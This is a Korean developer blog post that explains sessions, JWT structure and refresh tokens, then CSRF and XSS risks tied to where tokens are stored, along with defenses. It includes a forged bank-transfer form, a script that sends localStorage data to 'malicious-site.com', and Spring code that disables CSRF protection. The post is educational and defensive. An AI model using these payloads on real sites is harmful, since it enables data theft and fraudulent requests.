- Published on
JWT와 JWT 사용시 고려할 웹 취약점
- Authors
- Name
- 이동영
- Github
- @Github

JWT에 대해 알기 위해서는 우선 인증과 인가의 개념에 대해서 알아야한다.
인증과 인가

인증(Authentication) - 특정 권한이 있는 사용자임을 "인증"받는 것 즉, 회원가입과 로그인
인가(Authorization) - 인증(Authentication)을 받은 사용자가 서비스의 여러 기능을 사용할 때 로그인이 되어있음을 확인하고 "인가"를 받는다.
이중 JWT는 인가(Authorization)에 연관된 기술이다.
로그인 상태를 유지하기
웹사이트 서버가 요청을 받을 때마다 해당 사용자가 로그인, 인증과정을 거친 상태인지 확인을 해서 그에 따라 로그인이 필요한 기능들(ex. 이메일 접속, 댓글 작성)의 허용 여부를 결정해 응답을 해주어야한다.
아이디랑 비밀번호를 브라우저 저장소에 저장한 다음에 요청이 있을 때마다 로그인을 하는 방식으로 이러한 기능들을 허용해 주면 간단하겠지만 이러한 방법을 사용하기에는 로그인이 꽤 무거운 작업이라는 걸림돌이 있다.
로그인을 위해서는 데이터베이스에 저장된 사용자 계정의 해시값 등을 꺼내온 다음 이것들이 사용자의 암호를 복잡한 알고리즘을 통해 계산한 값과 일치하는지 확인하는 과정을 거쳐야하기 때문에 시간과 자원을 많이 소모한다. 또한 요청마다 아이디와 패스워드가 계속해서 보내지는것 또한 보안상 위험하다.
세션

이러한 문제점을 해결하기 위한 전통적인 기술로는 "세션"이 있다. 사용자가 로그인에 성공하면 서버는 "세션 표딱지"라는 것을 출력한다. 이 표딱지를 반으로 나누어 반은 사용자에게 반은 자신의 메모리에 올리게 된다. 경우에 따라서는 하드디스크나 데이터베이스에 넣어놓기도 한다. 표 반쪽을 받은 사용자의 브라우저가 이 표를 Session ID라는 이름의 쿠키로 저장을 하고 이 브라우저는 웹사이트에 요청을 보낼 때마다 이 표딱지를 실어보낸다. 이렇게 받은 표딱지 반쪽이 요청에 실려오면 서버는 이를 메모리에서 맞는 나머지 반쪽 짝이 있는지 확인하고 이것이 확인되면 인가(Authorization)을 해준다. 이처럼 이 Session ID를 사용해 어떤 사용자가 서버에 로그인 되어있는 상태가 지속되는 상태를 세션
이라고 한다.
세션 방식의 단점
이러한 세션 방식에는 몇가지 허점이 존재한다.
메모리에 세션 표딱지의 반쪽들을 올려두면 사용자가 많아질 경우 메모리가 부족해진다.
서버에 문제가 생겨서 재부팅되면 메모리에 있던 것들이 전부 날아가는 문제가 있다.
세션 표딱지의 반쪽을 하드에 넣게되면 속도가 느려지는 문제가 있다.
서비스가 커져 로드밸런싱을 위해 서버가 여러대가 되면 모든 서버의 메모리에 반쪽 표딱지가 존재하는것이 아니기 때문에 세션의 유지에 어려움이 있다.
보완법
이러한 허점을 보완하기 위한 방법으로는 로드밸런서가 제공하는 고정 세션(sticky session) 을 사용할 수 있는데 이는 로드밸런서에 부담을 주고, 서버의 추가, 제거 및 장애처리가 까다로워진다.
다른 방법으로는 서버가 가지고 있어야 할 표딱지 반쪽을 속도가 많이 느려질 것을 감수하고 데이터베이스에 넣어두거나 더 흔히는 레디스나 MemCached같은 인메모리 데이터베이스 서버를 따로 두어서 올려두기도 한다.
서버가 복잡한 구성과 환경에서 어떤 상태를 기억해야된다는 것이 설계하기 머리 아플 수 있기 때문에 이러한 부담없이 이 인가(Authorization)을 구현하기 위해 고안된 것이 '토큰 방식'인 JWT이다.
JWT(JSON Web Token)

JWT를 사용하는 서비스에서는 사용자가 로그인을 하면 토큰이라는 표를 출력해서 건내준다. 위의 세션방식과의 차이는 세션 방식은 세션 표딱지를 반으로 나누었지만 JWT는 방식은 토큰을 찢지 않고 그대로 준다. 서버가 무언가를 기억하고 않다는 이야기이다.
사용자가 받는 토큰은 아래와 같이 생겼다.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 . eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ . SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5이는 인코딩 또는 암호화된 3가지 데이터를 이어붙인 모습이다.
중간에 점(마침표)를 기준으로 세 부분으로 나뉘는데 각각 헤더(header), 페이로드(payload), 서명(verify signature)으로 구분된다.
페이로드(payload)
가운데 부분인 페이로드를 Base64로 디코딩해보면 아래와 같이 JSON형식으로 여러가지 정보가 들어있다.
{
"sub": "1234567890", //subject: whom the token refers to
"name": "John Doe",
"iat": 1516239022 //issued at: seconds since unix epoch
}
이 토큰을 누가 누구에게 발급했는지, 이 토큰이 언제까지 유효한지 그리고 서비스가 사용자에게 이 토큰을 통해 공개하기 원하는 내용(ex. 사용자의 닉네임, 서비스상의 레벨, 관리자 여부 등)을 서비스 측에서 원하는 대로 담을 수 있다.
이렇게 토큰에 담긴 사용자 정보 등의 데이터를 Claim이라고 한다.
이런 페이로드 부분이 특별한 암호화과정을 거친것이 아니라 Base64로 인코딩되어있기 때문에 사용자가 쉽게 디코딩해서 이 내용을 볼 수 있을 것이고 이를 조작해서 악용할 여지가 있기 때문에 이를 방지하기 위해 헤더(header)와 서명(verify signature)파트가 존재한다.
헤더(header)를 디코딩하여 살펴보면 2가지 정보가 담겨있다.
{
"alg": "HS256",
"typ": "JWT"
}
typ(type), 즉 토큰의 타입은 언제나 JWT가 들어간다. 다른 하나는 alg(algorithm)인데 여기에는 서명값을 만드는데 사용될 알고리즘이 저장된다. 여기에는 HS256등의 여러 암호화 방식 중 하나를 지정할 수 있다. 헤더와 페이로그 그리고 '서버에 감춰놓은 비밀 값' 이 셋에 이 임호화 알고리즘을 적용시키면 서명값이 나온다.
이 암호화 알고리즘은 단방향으로 진행되어 복호화할 수 없기 때문에 '서버에 감춰놓은 비밀 값'을 알 수 있는 방법이 없다. 만약 사용자가 토큰의 글자 하나를 바꾼다면 서명값이 완전히 달라지기 때문에 페이로드를 수정하여 유효한 서명값이 나오려면 서버가 숨겨둔 비밀키를 알고 있어야 하기 때문에 이를 알지 못하는 사용자는 페이로드를 조작할 수 없다.
즉, 서버는 요청에 토큰값이 실려들어오면 헤더와 페이로드를 '서버의 비밀 키'와 함께 돌려 계산된 결과값이 서명값과 일치하는 결과가 나오는지 확인하기 때문에 이 '비밀키'를 알지못하는 사용자의 조작된 요청이 거부되는 것이다.
이러한 방식을 사용하면 서버는 '서버의 비밀 키'만 가지고 있으면 사용자들의 상태를 따로 저장해둘 필요없이 요청이 들어올때마가 토큰을 확인하여 인가(Authorization)을 해줄 수 있다.
JWT와 같이 서버측에 상태 정보를 저장하지 않는 형태는 stateless하다고 한다. 반대로 세션은 상태 정보를 저장하기 때문에 stateful하다고 한다.
JWT의 단점
세션처럼 stateful해서, 모든 사용자들의 상태를 기억하고 있다는 것은 구현하기 부담되고 고려사항도 많지만, 이를 구현하기만 하면 기억하는 대상의 상태를 언제든 제어할 수 있다는 의미이다. (ex. 한가지 기기에서만 로그인을 하기 위해 스마트폰에서 로그인하면 기존에 로그인한 PC에서 로그아웃되도록 기존 세션을 종료) 하지만 JWT는 이러한 통제가 불가능 하다.
토큰은 통제가 불가능하기 때문에 토큰이 탈취된 경우 토큰을 무효화할 방법이 없다.
위와 같은 이유로 실 서비스중에 JWT만으로 인가를 구현하는 곳은 생각보다 많지 않다.
보완법
위의 단점을 나름대로 보완하기 위한 방법들이 있는데, 만료시간을 가깝게 잡아서 토큰의 수명을 짧게 주는 것이다.
하지만 이러면 얼마 지나지 않아 로그인을 다시 해야하는데 이 때문에 로그인을 하고 나면 토큰을 두개 발급해준다.
하나는 수명이 짧은 access토큰이랑 다른 하나는 보통 2주정도의 긴 기간으로 잡혀있는 refresh토큰이다.
access 토큰과 refresh 토큰을 발급하고 클라이언트에게 보내고 나서 refresh토큰은 상응값을 데이터베이스에 저장한다. 클라이언트는 access토큰의 수명이 다하면 refresh토큰을 보낸다. 서버는 이를 데이터베이스에 저장된 값과 대조해보고 맞다면 새로운 access토큰을 발급해준다. 이제 이러한 refresh토큰만 안전하게 관리된다면 이 refresh토큰이 유효할동안은 access 토큰이 만료되어도 다시 로그인할 필요 없이 새로 발급을 받을 수 있다. 이러한 방법을 사용하면 access토큰이 탈취되어도 금방 만료되어 사용할 수 없게 되고 refresh토큰을 데이터베이스에서 삭제하여 토큰 갱신을 불가능하게하여 강제로 로그아웃을 시킬 수 있다. 하지만 이러한 방식은 짧은 시간이라도 access토큰이 유효한 동안은 이를 차단할 방법이 없기 때문에 완벽한 해결책은 아니다.
이러한 한계점들 때문에 자신의 서비스가 JWT를 사용하기 적합한지 충분한 고려가 필요하다.
JWT의 저장 장소와 이에 따른 웹 취약점
JWT를 사용하기 위해서는 이를 브라우저에 저장할 필요가 있다. 이 때 주로 사용되는게 localStorage 혹은 Cookie 인데 저장 방식에 따라 cookie 는 CSRF, localStorage 는 XSS 라는 웹 취약점을 가지게 된다.
JWT 를 Cookie에 저장
Cookie가 CSRF에 취약한 이유를 알기 위해서는 웹 브라우저는 일반적으로 동일한 도메인에 대한 HTTP 요청 시 저장된 쿠키를 자동으로 포함시킨다는 점을 인지하고 있어야 한다.
이는 로그인 상태를 유지하는등이 웹 상호작용에 도움이 되는 특성이지만 다음에 설명할 CSRF 공격의 가능성을 증가시킨다.
CSRF(Cross-Site Request Forgery, 사이트 간 요청 위조)

CSRF는 이용자가 의도하지 않은 요청을 통해 공격자가 의도한 대로 작업을 하게 만드는 웹 취약점이다.
Spring Security 를 사용해봤다면 POST 전송 시 403 에러가 발생했던 경험이 있을 것이다.

GET 요청에 대한 응답은 정상적으로 주는데, 사전 Spring Security 를 사용해보고자 사전 지식 없이 dependency 추가를 했다가 이 문제 때문에 당황했던 기억이 있다.

이 문제는 spring security 의 CSRF 설정이 디폴트로 enable 되어있기 때문에 발생하는데, 이는 설정을 disable 해주면 해결 할 수 있다.
Spring Security SCRF disable 하기
// Spring Security 5.7.0-M2 이상
@Configuration
public class SecurityConfig{
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception{
http
.csrf().disable();
return http.build();
}
}
// Spring Security 5.7.0-M2 이하
@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter{
@Override
protected void configure(HttpSecurity http) throws Exception {
super.configure(http);
http.csrf().disable();
}
}
spring.io에서 찾아본 글에 의하면 Spring Security 5.7.0-M2부터는 WebSecurityConfigurerAdapter가 컴포넌트 기반 security 설정을 장려하기 위해 deprecated 되었기 때문에 설정 방법이 다르다.
필요에 따라 disable 해야 할 수 있지만 default가 enable 이라는 점에서 CSRF가 중요한 웹 취약점 중 하나라는 것을 알 수 있다.
CSRF의 예시
spring.io의 도큐먼트에서 CSRF에 대한 예시를 보여주는데 이를 간단하게 번역한다면 다음과 같다.
당신이 사용중인 은행의 웹사이트에서 현재 로그인 중인 유저가 손을 송금할 수 있는 폼이 다음과 같이 있다고 하자.
<form method="post"
action="/transfer">
<input type="text"
name="amount"/>
<input type="text"
name="routingNumber"/>
<input type="text"
name="account"/>
<input type="submit"
value="Transfer"/>
</form>
이에 따른 HTTP 요청 헤더는 아래와 같을 것이다.
POST /transfer HTTP/1.1
Host: bank.example.com
Cookie: JSESSIONID=randomid
Content-Type: application/x-www-form-urlencoded
amount=100.00&routingNumber=1234&account=9876
이제 당신은 은행에서 볼일을 다 본 후 로그아웃을 하지 않고 나쁜 웹사이트에 접속을 하게된다. 그런데 그 나쁜 웹페이지에 아래와 같은 HTML 페이지가 있다.
<form method="post"
action="https://bank.example.com/transfer">
<input type="hidden"
name="amount"
value="100.00"/>
<input type="hidden"
name="routingNumber"
value="evilsRoutingNumber"/>
<input type="hidden"
name="account"
value="evilsAccountNumber"/>
<input type="submit"
value="Win Money!"/>
</form>
만약에 이 win money 버튼을 누르게 된다면 100달러가 나쁜 웹사이트 주인이 원하는 계좌로 입금된다. 이런 일이 발생하는 이유는 나쁜 웹사이트는 쿠키를 볼 수 없지만, 당신의 은행과 관련된 쿠키는 여전히 요청과 함께 전송되기 때문이다. 심지어는 win money 버튼을 누르게 할 필요도 없이 이런 프로세스가 자바스크립트를 사용해 자동화 될 수 있다.
CSRF 방어 방법
이런 CSRF 공격에는 여러 방어 방법이 있는데 그 중 세 가지 방법이 대표적이라고 한다.
Referrer Check
백엔드에서 request의 referer를 확인하여 도메인이 일치하는지 검증하는 방법으로 일반적으로는 이 방법만으로도 대부분의 CSRF 공격을 막을 수 있다고 한다.
SameSite
SameSite는 HTTP 쿠키에서 CSRF 공격의 방지를 위해 넣을 수 있는 설정으로 SameSite는 3가지 옵션이 있는데 이는 None
,Lax
, Strict
이다.
None
의 경우 쿠키가 모든 상황에서 전송된다.
Lax
는 쿠키가 동일한 사이트(same-site)에서의 요청이 있을 때 혹은 top-level navigation
을 통해 요청이 보내질 때 쿠키를 전송한다. top-level navigation
은 navigating a top-level browsing context
를 줄인 말로 최상위 브라우징 맥락에서 a 태그
나 document.location
또는 302 리다이렉트
를 이용한 이동을 포함한다. 최상위 브라우징 맥락에서의 이동만 허용이 되므로 iframe
안에서 페이지를 이동하는 경우는 최상위 브라우징 맥락이 아니므로 Lax
설정된 쿠키는 전동되지 않는다.
strict
는 쿠키가 동일한 사이트 내의 요청으로만 전송되도록한다.
SameSite 옵션을 사용할 때는 사용 전에 알아야할 중요한 고려사항들이 있다.
strict
속성을 사용할 때에는 상황을 고려해야 하는데, 만약 "https://social.example.com" 사이트에 로그인을 한 후 로그인 상태를 유지하고 있는 상태에서 "https://email.example.org" 에서 "https://social.example.com" 의 링크를 포함하는 이메일을 받게 되어 사용자가 해당 링크를 클릭하면 사용자는 로그인 상태가 유지되어있을 것이라고 기대하지만 strict
속성에 의해 쿠키가 보내지지 않아 인증받지 못해 로그인이 되지 않아 불편함을 느낄 수 있다.
또한 최신 브라우저가 아닌 경우에는 SameSite 속성을 지원하지 않을 수 있기 때문에 이는 단독 방어용보다는 이중 방어용으로 사용되는 방식이라고 한다.
CSRF Token
CSRF 공격으로부터 보호하는 다른 방법은 CSRF Token을 이용하는 방법이다. 이 방법은 세션 쿠키 외에도 각각의 HTTP요청에 CSRF Token 이라는 임의의 난수로 생성된 값이 있어야 하도록 하는 방법이다.
이 방식의 핵심은 CSRF Token은 브라우저가 HTTP Request에 자동으로 추가하는 정보가 아니여야 한다는 점이다. 예를 들잡면 실제 CSRF 토큰를 HTTP 파라미터나 헤더에서 요구하는 것은 CSRF 공격으로부터 방어가 되지만 쿠키는 브라우저에서 HTTP 요청에 자동으로 넣어주기 때문에 CSRF 토큰을 쿠키에 넣는 건은 방어법이 될 수 없다. 그렇다면 CSRF Token이 어떻게 HTTP Request에 추가되도록 하는 것일까?
이는 서버에서 웹 페이지를 발행할 때 CSRF Token 값을 넣어주고 사용자에 세션에 저장해두는 방식으로 해결한다. 위에서 보여준 은행 사이트 예시에 CSRF Token을 적용시키면 아래와 같을 것이다.
<form method="post"
action="/transfer">
<input type="hidden"
name="_csrf"
value="4bfd1575-3ad1-4d21-96c7-4ef2d9f86721"/>
<input type="text"
name="amount"/>
<input type="text"
name="routingNumber"/>
<input type="hidden"
name="account"/>
<input type="submit"
value="Transfer"/>
</form>
서버에서 생성해준 웹 페이지 폼에 Hidden으로 Token 값이 있는 것을 볼 수 있다. 이 폼에 의한 요청이 있을 때 서버에서는 이 Token 값이 세션에 저장된 값과 일치하는지 확인하여 해당 요청의 위조 여부를 판별한 다음에 일치 여부가 확인된 Token은 폐기되고 새로운 웹 페이지를 발행할 때마다 새로 생성한다.
CSRF 를 Diable 해도 괜찮은 경우
Spring Security의 설정에 대해 위해서 언급했으니 살짝 다시 Spring Security 에 대해 이야기해보자면 스프링 도큐먼트는 브라우저를 사용해 호출될 수 있는 모든 request에 대해서는 CSRF 보호를 하기를 권한다. CSRF를 Disable 해도 괜찮은 유일한 경우는 우리 서비스의 클라이언트들이 브라우저를 사용하지 않는 경우이다.
구글링을 하던 도중 JWT 토큰과 같은 stateless한 웹 어플리케이션의 경우 이를 disable 해도 괜찮다는 글을 봤는데 스프링 도큐먼트에 이에 딱 반대되는 내용이 있었다. 이 도큐먼트에 따르면 JWT 토큰을 사용할 경우에도 결국 해당 토큰을 쿠키에 넣어야 하는데 이는 위에서 세션 아이디가 쿠키에 실려 전송 되어는 것과 같은 원리로 CSRF 공격에 취약 해질 것이다.
JWT 를 LocalStorage에 저장
JWT 토큰을 쿠키에 저장하면 CSRF 라는 취약점이 생긴다는 점은 파악했으니 JWT 를 LocalStorage 에 저장했다고 가정해보자. LocalStorage 를 사용한다면 브라우저에서 자동으로 보내주는 Cookie 를 사용할 필요가 없고 동일 출처 정책(same-origin policy)을 갖기 때문에 CSRF 에 대해서는 비교적 안전하다고 할 수 있다.
하지만 XSS 라는 보안 취약점을 갖기 때문에 완벽한 해결책이 될 수 없다.
XSS(Cross-Site Scripting)
XSS 공격은 악의적인 스크립트가 사용자의 브라우저에서 실행되게 하는 보안 취약점을 말한다. 공격자는 사용자가 신뢰하는 웹사이트에 스크립트를 삽입하고, 이 스크립트가 다른 사용자의 브라우저에서 실행될 때 사용자의 쿠키, LocalStorage 데이터 등에 접근할 수 있다.
LocalStorage 의 동일 출처 정책은 웹 페이지가 다른 출처의 데이터에 접근하는 것은 제한하지만, 같은 출처 내에서의 스크립트 실행은 제한하지 않는다는 점 때문에 XSS 공격에 취약하다.
이에 반해 쿠키는 HTTPOnly 설정을 통해 자바스크립트를 통한 접근을 차단 할 수 있기 때문에 XSS 공격으로부터 보호받을 수 있다.
XSS의 예시
사용자의 브라우저 상에서 어떻게 악의적인 스크립트가 실행될 수 있는지 가상 시나리오를 통해 알아보자.
어떤 온라인 포럼 사이트에서 사용자가 글을 작성할 때 HTML 태그의 사용을 허용하는데, 사용자가 입력하는 내용이 그대로 웹 페이지에 반영이 된다.
공격 시나리오
공격자가 다음과 같은 스크립트를 포함하는 글을 작성한다.
<script>alert('XSS');</script>
해당 글이 포럼에 게시되고 다른 사용자들이 이 글을 열람하는 순간 <script>
태그 내에 포함된 악의적인 스크립트가 실행된다. 위의 스크립트는 alert 창을 띄우는 간단한 예시지만 아래와 같은 스크립트를 통해 로컬스토리지의 정보도 탈튀가 가능하다.
<script>
const userData = localStorage.getItem('userDetails');
const img = new Image();
img.src = 'http://malicious-site.com/collect?data=' + encodeURIComponent(userData);
document.body.appendChild(img);
</script>
XSS 방어 방법
입력 새니타이징
모든 사용자 입력을 새니타이징한다. Sanitizer API 혹은 새니타이징 기능이 있는 DOMPurify와 같은 라이브러리를 통해 태그 같은 잠재적으로 위험한 문자를 안전한 형식으로 변환할 수 있는데
콘텐츠 보안 정책 (Content Security Policy, CSP)
CSP는 웹 페이지에서 실행될 수 있는 스크립트의 출처를 제한해 XSS와 같은 웹 보안 취약점을 줄이는데 사용되는 추가적인 보안 계층이다.
Content-Security-Policy HTTP 헤더를 사용하거나 <meta>
요소를 사용해 정책을 다음과 같이 구성할 수 있다.
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; img-src https://*; child-src 'none';" />
CSP에 대한 MDN 문서에서 자세한 내용을 확인할 수 있다.
HTTPOnly 쿠키 플래그
앞서 말한 것과 같이 쿠키는 HTTPOnly 플래그를 통해 자바스크립트를 통한 쿠키 접근을 차단 할 수 있기 때문에 XSS 공격으로부터 localStoage 에 비해 안전하다.
JWT 의 저장 장소
결국 JWT는 쿠키와 로컬스토리지 중 어디에 저장을 해야할까?
일반적으로 CSRF 공격은 다루기 쉬운 반면에 프론트엔드의 크기가 클수록 XSS 공격을 막기위한 작업이 많아지기 때문에 쿠키 사용을 추천한다고 한다. 다만 쿠키는 큰 데이터를 저장하기는 어렵고 모든 요청에 쿠키가 포함되어 성능이 저하된다는 단점이 있다.
또한 로컬 변수에 인 메모리로 저장하는 방법 또한 사용된다.하지만 이 방법은 브라우저를 끄면 토큰이 사라지기 때문의 사용자 경험이 부정적일 수 있어 보통 access token 을 인 메모리에 시간을 유효 시간을 짧게 주어 저장하고, refresh 토큰은 쿠키에 저장하는 방식을 채택할 때 사용된다고 한다.
또한 저장 장소에 대한 취약점 방비와 더불어 토큰에 클라리언트의 fingerprint 정보를 저장하는 등의 대비 또한 필요하다.
결국에는 여러 방법들의 장점과 단점을 잘 파악하고 본인의 서비스에 적합한 방식을 선택하고 보안 취약점에 대한 적절한 조치를 취하는 것이 좋을 것 같다.
참고자료:
https://www.youtube.com/watch?v=1QiOXWEbqYQ https://jwt.io/ https://dev.to/thecodearcher/what-really-is-the-difference-between-session-and-token-based-authentication-2o39 http://www.opennaru.com/opennaru-blog/jwt-json-web-token-with-microservice/ https://datatracker.ietf.org/doc/html/draft-west-first-party-cookies-07#section-5 https://spring.io/blog/2022/02/21/spring-security-without-the-websecurityconfigureradapter https://docs.spring.io/spring-security/reference/features/exploits/csrf.html#csrf-when https://developer.mozilla.org/ko/docs/Web/HTTP/Cookies https://docs.microsoft.com/ko-kr/azure/active-directory/develop/howto-handle-samesite-cookie-changes-chrome-browser?tabs=dotnet https://developer.mozilla.org/ko/docs/Web/HTTP/CSP https://stackoverflow.com/questions/27067251/where-to-store-jwt-in-browser-how-to-protect-against-csrf https://stackoverflow.com/questions/34817617/should-jwt-be-stored-in-localstorage-or-cookie https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.md https://github.com/OWASP/ASVS https://hasura.io/blog/best-practices-of-using-jwt-with-graphql#login